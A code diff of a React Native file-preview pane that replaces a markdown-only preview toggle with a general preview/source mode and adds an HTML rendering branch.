|
||||
preview: ExplorerFile | null;
|
||||
mode?: "preview" | "source";
|
||||
isLoading: boolean;
|
||||
isMobile: boolean;
|
||||
location: WorkspaceFileLocation;
|
||||
@@ -209,6 +211,7 @@ const codeLineStyles = StyleSheet.create((theme) => ({
|
||||
|
||||
function FilePreviewBody({
|
||||
preview,
|
||||
mode,
|
||||
isLoading,
|
||||
isMobile,
|
||||
location,
|
||||
@@ -218,18 +221,22 @@ function FilePreviewBody({
|
||||
const theme = UnistylesRuntime.getTheme();
|
||||
const { t } = useTranslation();
|
||||
const filePath = location.path;
|
||||
const isMarkdownFile =
|
||||
preview?.kind === "text" && isRenderedMarkdownFile(filePath) && !location.lineStart;
|
||||
// A line target means the caller wants to land on that line, so fall back to
|
||||
// the highlighted source view even for renderable files.
|
||||
const renderKind =
|
||||
preview?.kind === "text" && !location.lineStart && mode !== "source"
|
||||
? filePreviewRenderKind(filePath)
|
||||
: null;
|
||||
|
||||
const previewScrollRef = useRef<RNScrollView>(null);
|
||||
|
||||
const highlightedLines = useMemo(() => {
|
||||
if (!preview || preview.kind !== "text" || isMarkdownFile) {
|
||||
if (!preview || preview.kind !== "text" || renderKind) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return highlightCode(preview.content ?? "", filePath);
|
||||
}, [isMarkdownFile, preview, filePath]);
|
||||
}, [renderKind, preview, filePath]);
|
||||
|
||||
const gutterWidth = useMemo(() => {
|
||||
if (!highlightedLines) return 0;
|
||||
@@ -283,7 +290,16 @@ function FilePreviewBody({
|
||||
}
|
||||
|
||||
if (preview.kind === "text") {
|
||||
if (isMarkdownFile) {
|
||||
if (renderKind === "html") {
|
||||
// The HTML document owns its own scrolling, so no ScrollView wrapper here.
|
||||
return (
|
||||
<View style={styles.previewScrollContainer}>
|
||||
<FileHtmlPreview html={preview.content ?? ""} testID="file-html-preview" />
|
||||
</View>
|
||||
);
|
||||
}
|
||||
|
||||
if (renderKind === "markdown") {
|
||||
return (
|
||||
<View style={styles.previewScrollContainer}>
|
||||
<RNScrollView
|
||||
@@ -395,7 +411,7 @@ export function FilePane({
|
||||
}) {
|
||||
const { t } = useTranslation();
|
||||
const isMobile = useIsCompactFormFactor();
|
||||
const [markdownMode, setMarkdownMode] = useState<"preview" | "source">("preview");
|
||||
const [previewMode, setPreviewMode] = useState<"preview" | "source">("preview");
|
||||
const [resolvedPreview, setResolvedPreview] = useState<{
|
||||
key: string | null;
|
||||
file: ExplorerFile | null;
|
||||
@@ -451,19 +467,19 @@ export function FilePane({
|
||||
};
|
||||
}, [liveFile.file, readTarget]);
|
||||
|
||||
useEffect(() => setMarkdownMode("preview"), [readTarget?.path]);
|
||||
|
||||
const previewKey = readTarget ? `${readTarget.cwd}:${readTarget.path}` : null;
|
||||
useEffect(() => setPreviewMode("preview"), [previewKey]);
|
||||
|
||||
const preview = resolvedPreview.key === previewKey ? resolvedPreview.file : null;
|
||||
const imagePreviewUri = useAttachmentPreviewUrl(
|
||||
resolvedPreview.key === previewKey ? resolvedPreview.imageAttachment : null,
|
||||
);
|
||||
const isMarkdown = isMarkdownPreview(preview, location.path);
|
||||
const isRenderable = isRenderablePreview(preview, location.path);
|
||||
const editable = isEditableTextFile({
|
||||
preview,
|
||||
supportsEditing,
|
||||
});
|
||||
const canToggleMarkdownMode = isMarkdown && editable;
|
||||
const canTogglePreviewMode = isRenderable && !location.lineStart;
|
||||
const lineCount =
|
||||
preview?.kind === "text" ? (preview.content ?? "").split("\n").length : undefined;
|
||||
const errorMessage = getFileErrorMessage(liveFile.error, t("panels.file.failedToLoad"));
|
||||
@@ -479,8 +495,8 @@ export function FilePane({
|
||||
retryingRead={liveFile.isRetrying}
|
||||
retryLabel={t("common.actions.retry")}
|
||||
filename={getFileNameFromPath(location.path) ?? location.path}
|
||||
markdownMode={canToggleMarkdownMode ? markdownMode : undefined}
|
||||
onMarkdownModeChange={canToggleMarkdownMode ? setMarkdownMode : undefined}
|
||||
previewMode={canTogglePreviewMode ? previewMode : undefined}
|
||||
onPreviewModeChange={canTogglePreviewMode ? setPreviewMode : undefined}
|
||||
lineCount={lineCount}
|
||||
editable={editable}
|
||||
disconnectedMessage={t("workspace.terminal.hostDisconnected")}
|
||||
@@ -494,8 +510,8 @@ export function FilePane({
|
||||
);
|
||||
}
|
||||
|
||||
function isMarkdownPreview(preview: ExplorerFile | null, path: string): boolean {
|
||||
return preview?.kind === "text" && isRenderedMarkdownFile(path);
|
||||
function isRenderablePreview(preview: ExplorerFile | null, path: string): boolean {
|
||||
return preview?.kind === "text" && filePreviewRenderKind(path) !== null;
|
||||
}
|
||||
|
||||
function getFileErrorMessage(error: unknown, fallback: string): string | null {
|
||||
@@ -526,8 +542,8 @@ function FilePanePresentation({
|
||||
retryingRead,
|
||||
retryLabel,
|
||||
filename,
|
||||
markdownMode,
|
||||
onMarkdownModeChange,
|
||||
previewMode,
|
||||
onPreviewModeChange,
|
||||
lineCount,
|
||||
editable,
|
||||
disconnectedMessage,
|
||||
@@ -547,8 +563,8 @@ function FilePanePresentation({
|
||||
retryingRead: boolean;
|
||||
retryLabel: string;
|
||||
filename: string;
|
||||
markdownMode?: "preview" | "source";
|
||||
onMarkdownModeChange?: (mode: "preview" | "source") => void;
|
||||
previewMode?: "preview" | "source";
|
||||
onPreviewModeChange?: (mode: "preview" | "source") => void;
|
||||
lineCount?: number;
|
||||
editable: boolean;
|
||||
disconnectedMessage: string;
|
||||
@@ -581,8 +597,8 @@ function FilePanePresentation({
|
||||
onRetryRead={onRetryRead}
|
||||
retryingRead={retryingRead}
|
||||
filename={filename}
|
||||
mode={markdownMode}
|
||||
onModeChange={onMarkdownModeChange}
|
||||
mode={previewMode}
|
||||
onModeChange={onPreviewModeChange}
|
||||
isLoading={isLoading}
|
||||
isMobile={isMobile}
|
||||
location={location}
|
||||
@@ -610,12 +626,13 @@ function FilePanePresentation({
|
||||
<FilePanelBar
|
||||
size={preview.size}
|
||||
lineCount={lineCount}
|
||||
mode={markdownMode}
|
||||
onModeChange={onMarkdownModeChange}
|
||||
mode={previewMode}
|
||||
onModeChange={onPreviewModeChange}
|
||||
/>
|
||||
) : null}
|
||||
<FilePreviewBody
|
||||
preview={preview}
|
||||
mode={previewMode}
|
||||
isLoading={isLoading}
|
||||
isMobile={isMobile}
|
||||
location={location}
|
||||
@@ -788,6 +805,7 @@ function EditableFilePane({
|
||||
) : (
|
||||
<FilePreviewBody
|
||||
preview={renderedPreview}
|
||||
mode={mode}
|
||||
isLoading={isLoading}
|
||||
isMobile={isMobile}
|
||||
location={location}
|
||||
|
||||
Reference in New Issue
Block a user